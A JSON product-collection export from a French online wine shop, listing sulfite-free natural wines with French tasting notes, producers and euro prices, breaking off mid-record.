{"title":"Vin sans sulfite ajouté","description":"\u003cp\u003e\u003cspan\u003eChez Petites Caves, nous vous proposons des vins sans sulfite ajouté, résultat d’un engagement viticole pour préserver notre terroir et le caractère vivant du vin. Plus naturel et sain pour l’organisme humain, le vin sans sulfite est élaboré dans le respect de l’authentique, de la nature et de votre santé ! La garantie, par exemple, d’une bonne soirée entre amis… sans mal de tête le lendemain.\u003c\/span\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cspan\u003e\u003ca href=\"https:\/\/www.petitescaves.com\/collections\/vin-rouge-sans-sulfite\" title=\"Rouge sans sulfites\"\u003e\u003cimg height=\"50\" width=\"162\" src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/BEST_VENTES_2.png?v=1718034383\" alt=\"\" data-mce-src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/BEST_VENTES_2.png?v=1718034383\"\u003e\u003c\/a\u003e  \u003ca href=\"https:\/\/www.petitescaves.com\/collections\/vin-blanc-sans-sulfites\" title=\"blancs sans sulfite\"\u003e\u003cimg height=\"50\" width=\"161\" src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/BEST_VENTES_3.png?v=1718360817\" alt=\"\" data-mce-src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/BEST_VENTES_3.png?v=1718360817\"\u003e\u003c\/a\u003e  \u003ca href=\"https:\/\/www.petitescaves.com\/collections\/vin-bio-sans-sulfite\" title=\"vin bio sans sulfite\"\u003e\u003cimg alt=\"\" src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/BEST_VENTES_5.png?v=1719820109\" width=\"165\" height=\"51\"\u003e\u003c\/a\u003e\u003c\/span\u003e\u003cspan\u003e\u003c\/span\u003e\u003c\/p\u003e","products":[{"product_id":"elle-aime-2021-domaine-de-l-octavin","title":"Elle Aime 2022 | Domaine de l'Octavin","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eElle Aime 2022 “en arces” - Vin de France - Octavin \u003c\/strong\u003e\u003cbr\u003e\u003cbr\u003ePinot noir 75% et chardonnay 25%.\u003c\/p\u003e\n\u003cp\u003e2 mois de macération en grappes entières.\u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e","brand":"Alice Bouvot","offers":[{"title":"Default Title","offer_id":36582389121185,"sku":"P4896-2022","price":36.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/elle-aime-499062.jpg?v=1613731080"},{"product_id":"fanny-elisabeth-maceration-2021-domaine-julien-meyer","title":"Fanny Elisabeth Macération 2021 | Domaine Julien Meyer","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eFanny Elisabeth Macération 2021 (\u003cmeta charset=\"utf-8\"\u003ePinot Gris) - Domaine Julien Meyer (Mireille et Patrick)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eMacération assez longue qui confère au vin une couleur plutôt pelure d'oignon (brique). Certains appelleraient ce vin, un vin \"orange\" mais...  Le nez comme la bouche sont marqués par des notes de fruits frais et cuits (compote). Matière en bouche importante : ronde, tannique. Or la finale ne nous permet pas de nous endormir car elle est vivifiante : superbe acidité (jargon pour dire fraicheur++).\u003c\/p\u003e\n\u003cp\u003eFinale dense et persistante sur des notes d'oranges amères, gingembre et retour fraicheur++\u003c\/p\u003e\n\u003cp\u003e\u003cstrong\u003eHouahou, un Vin non identifié venu d'ailleurs :-)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e","brand":"Patrick Meyer","offers":[{"title":"Default Title","offer_id":36868692377761,"sku":"2347","price":23.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/fanny-elisabeth-maceration-198565.jpg?v=1613983338"},{"product_id":"pamina-2020-octavin","title":"Pamina 2020 | Domaine L'Octavin","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePamina 2020 - 100% Chardonnay (la Mailloche) - Domaine Octavin \u003cbr\u003eAlice Bouvot\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eLe nez offre des arômes de fleurs blanches (acacias) et d’agrumes avec de douces notes de vanille et de brioche. En bouche, une jolie pointe d’acidité apporte fraîcheur et équilibre, avec le gras qui tapisse la bouche dans une élégante onctuosité et une douceur toute féminine.\u003c\/p\u003e\n\u003cp\u003e---- \u003cbr\u003eCette cuvée doit son nom à Pamina, la fille de la Reine de la nuit, dans l'opéra \"La flûte enchantée\" de Mozart. 100% chardonnay, certifiée Ecocert et Demeter et cultivée sur sols calcaires, Pamina a été été vinifiée sans aucun produit oenologique, élevée 19 mois en fûts, ouillée régulièrement et mise en bouteille sans S02.\u003c\/p\u003e","brand":"Alice Bouvot","offers":[{"title":"Default Title","offer_id":37047428841633,"sku":"2395","price":39.8,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/pamina-367744.jpg?v=1607600539"},{"product_id":"chasselas-2018-domaine-pierre-frick","title":"Voyages 2022 | Pierre Frick","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eVoyages 2022 - Vin d'Alsace - Domaine Pierre Frick\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eNez complexe de citron, d’écorces de mandarine, de mirabelle, d’abricots confits, de pralin avec des notes fumées. La bouche est relevée et fraîche, retour des agrumes, d'épices poivrées, et de fruits jaunes cuits. La final est sublime longue et fraîche\u003c\/p\u003e","brand":"Domaine Pierre Frick","offers":[{"title":"Default Title","offer_id":37603919954081,"sku":"P4978-2022","price":24.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/voyages-frick.jpg?v=1737070000"},{"product_id":"cahors-b763-sur-2021-mas-del-perie","title":"Bloc B763 2021 | Mas del Périé","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eBloc B763 2021 - \u003cmeta charset=\"utf-8\"\u003eCahors - Mas del Périé - Fabien Jouves\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eC'est la texture (le grain), l'équilibre qui parle et qui s'exprime avec finesse, douceur. \u003cbr\u003eUne claque !\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e","brand":"Mas del Périé","offers":[{"title":"Default Title","offer_id":39442159173793,"sku":"2802","price":55.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/sud-ouest-mas-del-perie-b763-r.jpg?v=1693328943"},{"product_id":"dynamite-2020-peira-levada","title":"Dynamite 2022 | Pèira Levada","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDynamite \u003cspan data-mce-fragment=\"1\"\u003e2022\u003c\/span\u003e - AOP Faugères - Domaine Pèira Levada\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eCuvée issue de sols de marbre, en hommage aux Anciens qui creusaient à la dynamite pour planter leurs ceps.\u003c\/p\u003e\n\u003cp\u003eUne macération assez longue de 50 jours pour un vin plein, puissant, sapide. Le tout est équilibré par une acidité qui apporte de la verticalité au vin. \u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e","brand":"Alexandre Durand","offers":[{"title":"Default Title","offer_id":40566901702817,"sku":"3066","price":19.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/3066-faugeres-levada-dynamite-2020.jpg?v=1631532331"},{"product_id":"peaux-2020-vin-de-france-sylvie-augereau","title":"Peaux 2022 | Sylvie Augereau","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePeaux 2022 - Vin de France - Sylvie Augereau\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eAttention bijou OVNI. Issu de vignes centenaires du Thoureil, voici un vin rare, particulier, \u003cstrong\u003emacéré avec les peaux en amphores géorgiennes. Tannique, volumineux en bouche.\u003c\/strong\u003e On note la complexité aromatique (miel, abricot, citron confit). Rondeur idéale. A laisser en cave, y'a moyen que la chose s'assouplisse un peu dans le temps :-)\u003c\/p\u003e\n\u003cp\u003eDu fait de la macération longue, le vin peut présenter en bouteille des dépôts, naturels, importants. Vin peu filtré, couleur foncée. \u003cstrong\u003eVin pour connaisseur\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cstrong\u003ePassage en Carafe c'est bien mieux\u003c\/strong\u003e\u003c\/p\u003e","brand":"Sylvie Augereau","offers":[{"title":"Default Title","offer_id":41045139816609,"sku":"3121","price":38.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/sylvie-augereau-peaux.jpg?v=1648225769"},{"product_id":"commendatore-2020-domaine-de-l-octavin","title":"Commendatore 2020 | Domaine de l'Octavin","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eCommendatore 2020 - Vin de France - Domaine de l'Octavin (Trousseau)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eEffluves de fruits sauvages et de ronces, de notes minérales et d'épices.\u003cbr\u003eBouche structurée avec de la densité et de l'élégance. Un vrai chef, un commandant !\u003c\/p\u003e\n\u003cp\u003e\u003cmeta charset=\"utf-8\"\u003eTrousseau issu de vignes de plus de cinquante ans plantées sur des marnes jurassiques aux Corvées. Il y a eu huit mois de macération en cuve sans pigeage ni remontage.\u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e","brand":"Alice Bouvot","offers":[{"title":"Default Title","offer_id":42367851331823,"sku":"3422","price":36.6,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/commendatore-402421_efaf3b88-5417-4168-bc0f-7641f2dfe0a1.jpg?v=1642612568"},{"product_id":"gewurztraminer-2021-fischbach-maceration-pierre-frick","title":"Gewurztraminer Fischbach 21 | Domaine Frick","description":"\u003cp\u003e \u003c\/p\u003e\n\u003ch2 data-mce-fragment=\"1\"\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cspan data-mce-fragment=\"1\"\u003eGewurztraminer 2021 Fischbach - Macération\u003c\/span\u003e - Vin d'Alsace - Domaine Pierre Frick\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cmeta charset=\"utf-8\"\u003e\u003cspan\u003eNez explosif, puissant et complexe, sur la rose, le litchi et les fruits de la passion notamment. En bouche, le vin est sec et l'on retrouve cette puissance aromatique mais avec une longue fraîcheur également. Notes d'épices, d'agrumes et de poivres. Incroyable !\u003c\/span\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003eMacération pelliculaire de 7 jours.\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eCuvée issue exceptionnellement de raisins Biologiques d’achat\u003cbr\u003een 2021, après autorisation préfectorale pour calamité climatique\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e","brand":"Domaine Pierre Frick","offers":[{"title":"Default Title","offer_id":42873123307759,"sku":"3750","price":30.6,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/3750-alsace-pierre-frick-blanc-gewurztraminer-2021-fischbach---maceration-r.jpg?v=1654521409"},{"product_id":"bourgogne-blanc-2020-maison-en-belles-lies","title":"Bourgogne blanc 2022 | Maison En Belles Lies","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eBourgogne Blanc 2022 - Maison En Belles Lies\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eLe chardo de Pierre, un vin riche et ample sur les agrumes citronnées. très belle tension, une quille de précision. Pur.\u003c\/p\u003e","brand":"PIerre Fenals","offers":[{"title":"Default Title","offer_id":43014771769583,"sku":"P4575-2022","price":32.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/2633-bourgogne-maison-en-belles-lies-blanc-bourgogne-2018-r_600938b5-1eda-43ee-8a86-3b544851fa96.jpg?v=1656940155"},{"product_id":"hautes-cotes-de-beaune-2020-maison-en-belles-lies","title":"Hautes Côtes de Beaune 2022 | Maison En Belles Lies","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eHautes Côtes de Beaune 2022 - Maison En Belles Lies\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eUn vin de plaisir immédiat, frais et fruité avec des notes acidulées. \"ça pinote\", comme on dit en Bourgogne. A ouvrir sans pression, à toute heure, ou presque ...\u003c\/p\u003e\n\u003cp\u003e\u003cem\u003eCe vin peut être légèrement perlant à l'ouverture, ne pas hésiter à secouer un peu la bouteille ou à l'ouvrir une petite heure avant le service. \u003c\/em\u003e\u003c\/p\u003e\n\u003cdiv id=\"mailtorapidetoPopupModal\" style=\"z-index: 1;\"\u003e\n\u003cdiv id=\"mailtorapidemailTo\"\u003e\n\u003cdiv id=\"mailtorapidecloseMailModalToPopup\"\u003e\u003c\/div\u003e\n\u003cdiv id=\"mailtorapidequestionPopupMail\"\u003e\u003c\/div\u003e\n\u003c\/div\u003e\n\u003c\/div\u003e","brand":"PIerre Fenals","offers":[{"title":"Default Title","offer_id":43014827901167,"sku":"P4577-2022","price":27.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/2187-bourgogne-maison-en-belles-lies-rge-hautes-cotes-de-beaune-2018-r_9f6325dc-23c9-4dbe-8d15-69ffdf6bc2d8.jpg?v=1656940133"},{"product_id":"le-clos-reyssie-pouilly-fuisse-maison-valette","title":"Le Clos Reyssié | Maison Valette","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eLe Clos Reyssié - Pouilly Fuissé - Maison Valette \u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cem\u003e*Cette cuvée est un assemblage de plusieurs millésimes (2014, 2015, 2016, 2017 et 2018)\u003c\/em\u003e\u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cmeta charset=\"utf-8\"\u003eUne des cuvées-phare de notre site. Un travail de grande classe et pour lequel, à chaque millésime, on retient sa respiration !\u003c\/p\u003e\n\u003cp\u003eL'élevage est devenu de plus en plus important avec le temps. Cela donne l'identité de cette cuvée mythique de la Maison Valette. Le Clos Reyssié, en soi, représente le top des Pouilly-Fuissé et le travail du vigneron apporte la touche originale qui en fait un vin d'exception.\u003cbr\u003e\u003c\/p\u003e","brand":"Maison Valette","offers":[{"title":"Default Title","offer_id":43625085075695,"sku":"WSONV0004-2014","price":100.0,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/bourgogne-maison-valette-clos-reyssie.jpg?v=1669746404"},{"product_id":"magnum-de-clos-reyssie-pouilly-fuisse-maison-valette","title":"Magnum de Clos Reyssié | Maison Valette","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cmeta charset=\"utf-8\"\u003eMagnum de \"Clos Reyssié - Pouilly-Fuissé - Maison Valette \u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cem\u003e*Cette cuvée est un assemblage de plusieurs millésimes (2014, 2015, 2016, 2017 et 2018)\u003c\/em\u003e\u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cmeta charset=\"utf-8\"\u003eUne des cuvées phare de notre catalogue. Un travail de grande classe et pour lequel, à chaque millésime, on retient sa respiration !\u003cbr\u003eL'élevage est devenu de plus en plus important avec le temps. Cela donne l'identité de cette cuvée mythique du Domaine Valette. Le Clos Reyssié, en soi, représente le top des Pouilly-Fuissé et le travail de Philippe et Baptiste Valette apportent la touche originale qui en fait un vin d'exception.\u003c\/p\u003e\n\u003cp\u003eCrustacés, homard aux épices, veau à l'orange mais aussi ris de veau aux champignons ou encore chapon, crème et morilles... Bon voyage au paradis !\u003c\/p\u003e","brand":"Maison Valette","offers":[{"title":"Default Title","offer_id":43625086910703,"sku":"WSONV0005-2014","price":195.0,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/bourgogne-maison-valette-Clos-Reyssie-magnum.jpg?v=1669746400"},{"product_id":"aloxe-corton-2021-maison-en-belles-lies","title":"Aloxe-Corton 2022 | Maison En Belles Lies","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eAloxe-Corton 2022 - Maison En Belles Lies\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eIl y a du vin dans cet Aloxe-Corton signé Pierre Fenals ! Belle concentration entre fruits mûrs et notes épicées, un corps joliment structuré et des tanins bien présents et racés. Grosse quille à mettre de côté...\u003c\/p\u003e\n\u003cdiv id=\"mailtorapidetoPopupModal\" style=\"z-index: 1;\"\u003e\n\u003cdiv id=\"mailtorapidemailTo\"\u003e\n\u003cdiv id=\"mailtorapidecloseMailModalToPopup\"\u003e\u003c\/div\u003e\n\u003cdiv id=\"mailtorapidequestionPopupMail\"\u003e\u003c\/div\u003e\n\u003c\/div\u003e\n\u003c\/div\u003e","brand":"PIerre Fenals","offers":[{"title":"Default Title","offer_id":43776631505135,"sku":"P4579-2022","price":49.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/aloxe-corton-801706_5890d6b2-b8dd-456b-8219-9592b5c0e094.jpg?v=1676392195"},{"product_id":"les-pieces-longues-2021-vin-de-france-mas-del-perie","title":"Les Pièces Longues 2024 | Mas del Périé","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cb\u003eLes Pièces Longues 2024 - Mas del Périé\u003cb\u003e\u003c\/b\u003e\u003c\/b\u003e\u003c\/p\u003e\n\u003cp\u003eUn pur Chenin\u003cbr\u003eIl est complexe. Il a du volume, rondeur et gras. Une bouche marquée par la minéralité et la fraîcheur compensant ainsi le gras. Une bouteille riche sans être opulente et à noter de jolis arômes de fruits exotiques, touches miellées au nez \u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cstrong\u003eIl est préférable d'attendre février 2026 pour ouvrir ce vin, dixit le vigneron\u003c\/strong\u003e\u003c\/p\u003e","brand":"Mas del Périé","offers":[{"title":"Default Title","offer_id":43784842543343,"sku":"WMDPE0002-2024","price":19.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/Sud-ouest-mas-del-perie-les-pieces-longues_0c7349f0-1398-4ecf-8ad9-8d7398abcd49.jpg?v=1676801117"},{"product_id":"sly-vin-sylvaner-2021-alice-bouvot-octavin","title":"SLY VIN 2021 |  Domaine Octavin","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eSLY VIN - Sylvaner 2021  - Vin de France - Négoce Alice Bouvot (Octavin)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cmeta charset=\"utf-8\"\u003e\u003cspan\u003eun vin orange audacieux et captivant. Le nez mêle agrumes confits, épices douces, fleurs séchées et une trame minérale intense issue des marnes grises. En bouche, la texture est vive et tannique grâce à une macération de 2 mois sur peaux, avec une fraîcheur saline, une aromaticité épicée et une finale nette, digeste et exotique. Un sylvaner nature sans soufre ajouté, ultra vivant, parfait pour l’apéro ou des plats asiatiques épicés.\u003c\/span\u003e\u003c\/p\u003e\n\u003cp\u003e(2 mois de macération en grappes entières)\u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e","brand":"Alice Bouvot","offers":[{"title":"Default Title","offer_id":43868619473135,"sku":"4177","price":23.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/3419-jura-domaine-de-l_octavin-blanc-sylvaner-20-r_968635db-f7c4-4300-b5e7-8301ee847f4b.jpg?v=1679515095"},{"product_id":"quartz-2022-les-cailloux-du-paradis-etienne-courtois","title":"Quartz 2022 | Les Cailloux du Paradis","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eQuartz 2022 - Les Cailloux du Paradis - Etienne Courtois\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eC'est sec, tendu et sans fioriture. Le fruit exotique (ananas, mangue) se dévoile après quelques minutes et assouplit la sensation d'austérité minérale. La bouche est finalement assez puissante, ronde et avec une attaque franche, nette. Belle finale sur le fruit et les cailloux salins.\u003c\/p\u003e\n\u003cp\u003eSauvignon à personnalité, loin de l'aromatique classique. Ici, point de tricherie\u003cbr\u003e\u003cstrong\u003eVieilles vignes de Sauvignon majoritairement franches de pied (non greffées)\u003c\/strong\u003e\u003c\/p\u003e","brand":"Cailloux du Paradis","offers":[{"title":"Default Title","offer_id":47377482252629,"sku":"3048","price":35.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/3700-vallee-de-la-loire-les-cailloux-du-paradis-blanc-quartz-2020-r_ea02b125-783e-452f-82cc-797f13c48047.jpg?v=1697530491"},{"product_id":"racines-blanc-2020-cailloux-du-paradis","title":"Racines blanc 2020 | Cailloux du Paradis","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eRacines blanc 2020 - Cailloux du Paradis \u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eLe nez est fin avec beaucoup de fraicheur à l'ouverture malgré la puissance que l'on perçoit déjà. La bouche est ample et puissante, sur la générosité de fruits jaunes très mûrs -pêches, mirabelles - suivi d'herbacé - foin coupé, herbes sêches - Impression presque tanique avec de beaux amers dûs à une oxydation légère, qui redouble en fin de bouche -noix fraiche-. Fraicheur continue, complexe, extrêmement équilibrée.\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e","brand":"Cailloux du Paradis","offers":[{"title":"Default Title","offer_id":47377519968597,"sku":"3049","price":37.0,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/1613-vallee-de-la-loire-les-cailloux-du-paradis-blanc-racines-2019-r_7e88aac4-ad27-49e2-986b-41fc6d888ef6.jpg?v=1697530507"},{"product_id":"licaunais-2020-les-cailloux-du-paradis-etienne-courtois","title":"L'Icaunais 2022 | les Cailloux du Paradis","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eL'Icaunais 2022 - les Cailloux du Paradis - Etienne Courtois\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eTrès belle couleur dans le verre pour ce L'Icaunais. \u003cbr\u003eNez légèrement fumé, et de fruits rouges cuits. Puis on part sur du floral séché, retour sur la prune bien écrasée, vieux cuir, marc de raisins = complexité sans aucun doute !\u003c\/p\u003e\n\u003cp\u003eEncore sur la jeunesse mais d'une ossature magnifique : quel grain !\u003cbr\u003e\u003cstrong\u003eLa finale est d'une longueur rarement atteinte ! Wahoou, la magie de la famille Courtois opère ! Nous, on en redemande\u003cbr\u003e\u003c\/strong\u003e\u003c\/p\u003e","brand":"Cailloux du Paradis","offers":[{"title":"Default Title","offer_id":47377531634005,"sku":"P4582-2022","price":37.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/licaunais-325779_47014ba8-00f2-4dbb-ac21-b1975d653613.jpg?v=1697463752"},{"product_id":"loulou-pg-pn-2022-domaine-julien-meyer","title":"Loulou PG \u0026 PN 2022 | Domaine Julien Meyer","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePinot Noir\/Pinot Gris Loulou 2022 - Patrick Meyer (Domaine Julien Meyer)\u003cbr\u003e\u003c\/strong\u003eUn joli vin rouge d'Alsace aux parfums de petits fruits rouges écrasés bien frais. structure légère, finement épicée. Un vin qui va se poser doucement, facilement mais surement. Belle manufacture ! \u003c\/p\u003e","brand":"Patrick Meyer","offers":[{"title":"Default Title","offer_id":47894122725717,"sku":"4311","price":20.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/2129-alsace-domaine-julien-meyer-rouge-loulou-_pg-_-pn_-2021-_maceration_-r_d99e328d-6bb8-4ad6-a1eb-7f95543a9c3c.jpg?v=1708103974"},{"product_id":"courtiol-2022-clos-fantine","title":"Courtiol 2022 | Clos Fantine","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eCourtiol 2022 - Faugères - Clos Fantine\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eUn brin de fraîcheur, un brin de puissance, un peu de douceur.. Un vin taillé pour la garde\u003c\/p\u003e\n\u003cp\u003eFinale de fruits écrasés sur une couche de tabac brun ! Un tactile incroyable. Un millésime d'exception taillé pour la garde avec une grande buvabilité dès aujourd'hui.\u003c\/p\u003e\n\u003cp\u003e -----\u003c\/p\u003e\n\u003cp\u003eDes vignes sur côteaux schisteux. Tous les cépages choisis pour rentrer dans la cuvée Courtiol sont vinifiés traditionnellement -sans sulfite - et séparément. L'assemblage a lieu entre février et avril. Elevage en cuve béton sur 24 mois. Garde 10 ans. Un effort particulier est porté dans les vignes pour obtenir un enracinement maximal.\u003c\/p\u003e","brand":"Clos Fantine","offers":[{"title":"Default Title","offer_id":47921059758421,"sku":"4351","price":25.95,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/3886-languedoc-clos-fantine-rouge-courtiol-2019-r_1b055bd3-efff-47fb-9135-2253bd5a01b9.jpg?v=1708622288"},{"product_id":"couleurs-reunies-2022-mas-coutelou","title":"Couleurs réunies 2022 | Mas Coutelou","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eCouleurs réunies 2022 - Mas Coutelou\u003c\/strong\u003e \u003c\/p\u003e\n\u003cp\u003eC'est un travail de passionné : Plusieurs cépages de toutes les couleurs....\u003cmeta charset=\"utf-8\"\u003e\u003cbr data-mce-fragment=\"1\"\u003e\u003cspan data-mce-fragment=\"1\"\u003eUn vin frais, équilibré, avec de la mâche et du fruits. Tout est réuni.\u003c\/span\u003e\u003cbr\u003e\u003cbr\u003eC'est la cuvée des cépages oubliés !\u003c\/p\u003e","brand":"Mas Coutelou","offers":[{"title":"Default Title","offer_id":47921104912725,"sku":"4355","price":13.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/couleurs-reunies-437736_1c89c60b-7eb0-49af-8f47-a8d3c74ad4c3.jpg?v=1708609839"},{"product_id":"jadis-2020-domaine-leon-barral","title":"Jadis 2021 | Domaine Léon Barral","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eJadis 2021 - Faugères - Domaine Léon Barral (Didier Barral)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eLes notes de fruits noirs sauvages se révèlent très expressives avec une évolution dans le verre impressionnante sur les épices et une touche animale très charmante. En bouche, on trouve un vin beaucoup plus structuré que la cuvée « Tradition » avec un corps à la fois charnu et juteux. Grande persistance en bouche et potentiel de garde garanti !\u003c\/p\u003e\n\u003cp\u003eC'est La cuvée centrale du Domaine. Milieu de gamme en rouge au domaine. Deux ans d'élevage en barrique pour s'affiner, gagner en complexité, faire en sorte que le consommateur se fasse plaisir dès la réception du vin. Magique !\u003c\/p\u003e\n\u003cp\u003e\u003cstrong\u003eAttention\u003c\/strong\u003e, il est préférable \u003cstrong\u003ede ne pas carafer les vins du Domaine\u003c\/strong\u003e, les vins sont fragiles. Servez le tranquillement en bouteille :-)\u003c\/p\u003e","brand":"Didier Barral","offers":[{"title":"Default 